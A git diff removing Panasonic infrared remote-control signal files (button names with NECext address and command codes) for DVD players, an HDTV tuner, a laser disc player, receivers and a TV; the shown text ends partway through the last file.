a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir deleted file mode 100644 index a533998ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/AV -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: TV_VOL_+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 20 00 00 00 -# -name: TV_VOL_- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 21 00 00 00 -# -name: TV_CH_+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 34 00 00 00 -# -name: TV_CH_- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 35 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir deleted file mode 100644 index 143602592..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 21 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 32 00 00 00 -# -name: DVD/CD -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 94 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 9A 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 9C 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 9E 00 00 00 -# -name: PROLOGIC -type: parsed -protocol: NECext -address: A0 00 00 00 -command: B4 00 00 00 -# -name: CH_SELECT -type: parsed -protocol: NECext -address: A0 00 00 00 -command: BB 00 00 00 -# -name: SUBWOOFER_LEVEL -type: parsed -protocol: NECext -address: A0 00 00 00 -command: BC 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: A0 00 00 00 -command: F6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir deleted file mode 100644 index 0b86a2f33..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SFC -type: parsed -protocol: NECext -address: A0 10 00 00 -command: 83 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir deleted file mode 100644 index eaee8b0e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SUPER_SURROUND -type: parsed -protocol: NECext -address: A0 12 00 00 -command: 30 00 00 00 -# -name: MIX_2CH -type: parsed -protocol: NECext -address: A0 12 00 00 -command: AE 00 00 00 -# -name: SIMULATED_STEREO -type: parsed -protocol: NECext -address: A0 12 00 00 -command: EC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir deleted file mode 100644 index 94102f827..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 0A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 3D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 49 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 49 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 4A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 4A 00 00 00 -# -name: >10/-/-- -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 84 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 96 00 00 00 -# -name: FL_DISPLAY -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 97 00 00 00 -# -name: A/V_EFFECT -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir deleted file mode 100644 index 911f48cc6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 00 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 02 00 00 00 -# -name: SLOW_SEARCH_<< -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 02 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 03 00 00 00 -# -name: SLOW_SEARCH_>> -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 06 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 33 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 34 00 00 00 -# -name: UP/ON -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 34 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 35 00 00 00 -# -name: DOWN/OFF -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 35 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 36 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 36 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 37 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 37 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 47 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 48 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 57 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A0 22 00 00 -command: 80 00 00 00 -# -name: DISC_MANAGER -type: parsed -protocol: NECext -address: A0 22 00 00 -command: A1 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: A0 22 00 00 -command: A4 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: A0 22 00 00 -command: AB 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: A0 22 00 00 -command: AC 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A0 22 00 00 -command: AD 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: A0 22 00 00 -command: AE 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: A0 22 00 00 -command: B5 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: A0 22 00 00 -command: BB 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A0 22 00 00 -command: C0 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: C4 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A0 22 00 00 -command: C4 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A0 22 00 00 -command: C6 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: A0 22 00 00 -command: C6 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: A0 22 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir deleted file mode 100644 index d7195f10a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CH_+ -type: parsed -protocol: NECext -address: A0 04 00 00 -command: 34 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: A0 04 00 00 -command: 35 00 00 00 -# -name: TUNER/BAND -type: parsed -protocol: NECext -address: A0 04 00 00 -command: A4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir deleted file mode 100644 index 9fd0de4c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir +++ /dev/null @@ -1,554 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SLOW/SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: SLOW/SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: STILL/PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: SLOW_< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 07 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3F 00 00 00 -# -name: HP-V.S.S. -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 45 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP/SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: SKIP/SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: MENU/PLAY_LIST -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: MENU_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: ARROW:_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: ARROW:_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: ARROW:_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: ARROW:_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: >=10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: REPEAT_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8E 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: SUBTITLE_OFF/ON -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 93 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 93 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 95 00 00 00 -# -name: STILL/PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 95 00 00 00 -# -name: DOWN_CURSOR -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 96 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 97 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 97 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 98 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 98 00 00 00 -# -name: FL._DISP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 99 00 00 00 -# -name: FL_DISP. -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 99 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: TOP_MENU/DIRECT_NAV -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: VSS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: V.S.S. -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: SP-V.S.S. -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E0 00 00 00 -# -name: AUDIO_ONLY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E1 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E5 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: E8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir deleted file mode 100644 index a741b0c83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A0 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A1 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A2 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A3 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A4 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A5 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A6 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A7 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A8 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 02 00 00 -command: A9 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 80 02 00 00 -command: B6 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 80 02 00 00 -command: B7 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 80 02 00 00 -command: B9 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 02 00 00 -command: BD 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 02 00 00 -command: C3 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 80 02 00 00 -command: C5 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 80 02 00 00 -command: C6 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 80 02 00 00 -command: CA 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 02 00 00 -command: CA 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 80 02 00 00 -command: CB 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 02 00 00 -command: CB 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 80 02 00 00 -command: CD 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 02 00 00 -command: CE 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 80 02 00 00 -command: D1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir deleted file mode 100644 index 3d1848b80..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 01 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 04 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 05 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 06 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 0A 00 00 00 -# -name: STILL/STEP_> -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 0C 00 00 00 -# -name: STILL/STEP_< -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 19 00 00 00 -# -name: AUDIO_SELECT -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 33 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 3D 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 46 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 47 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 48 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 49 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 4D 00 00 00 -# -name: TIME_MODE -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 55 00 00 00 -# -name: FP_DISPLAY -type: parsed -protocol: NECext -address: 90 40 00 00 -command: 91 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 90 40 00 00 -command: A0 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 90 40 00 00 -command: A1 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 90 40 00 00 -command: A4 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 90 40 00 00 -command: AA 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 90 40 00 00 -command: AD 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 90 40 00 00 -command: C0 00 00 00 -# -name: SIDE_A -type: parsed -protocol: NECext -address: 90 40 00 00 -command: C3 00 00 00 -# -name: SIDE_B -type: parsed -protocol: NECext -address: 90 40 00 00 -command: C4 00 00 00 -# -name: D/A_CX -type: parsed -protocol: NECext -address: 90 40 00 00 -command: D0 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 90 40 00 00 -command: D2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir deleted file mode 100644 index cb415bfb5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 21 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 32 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 94 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 9A 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 9C 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: A0 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir deleted file mode 100644 index 5533a8868..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: A0 1C 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir deleted file mode 100644 index ba746ee50..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: A0 04 00 00 -command: 34 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: A0 04 00 00 -command: 35 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: A0 04 00 00 -command: A4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir deleted file mode 100644 index e998da02a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir +++ /dev/null @@ -1,554 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 80 00 00 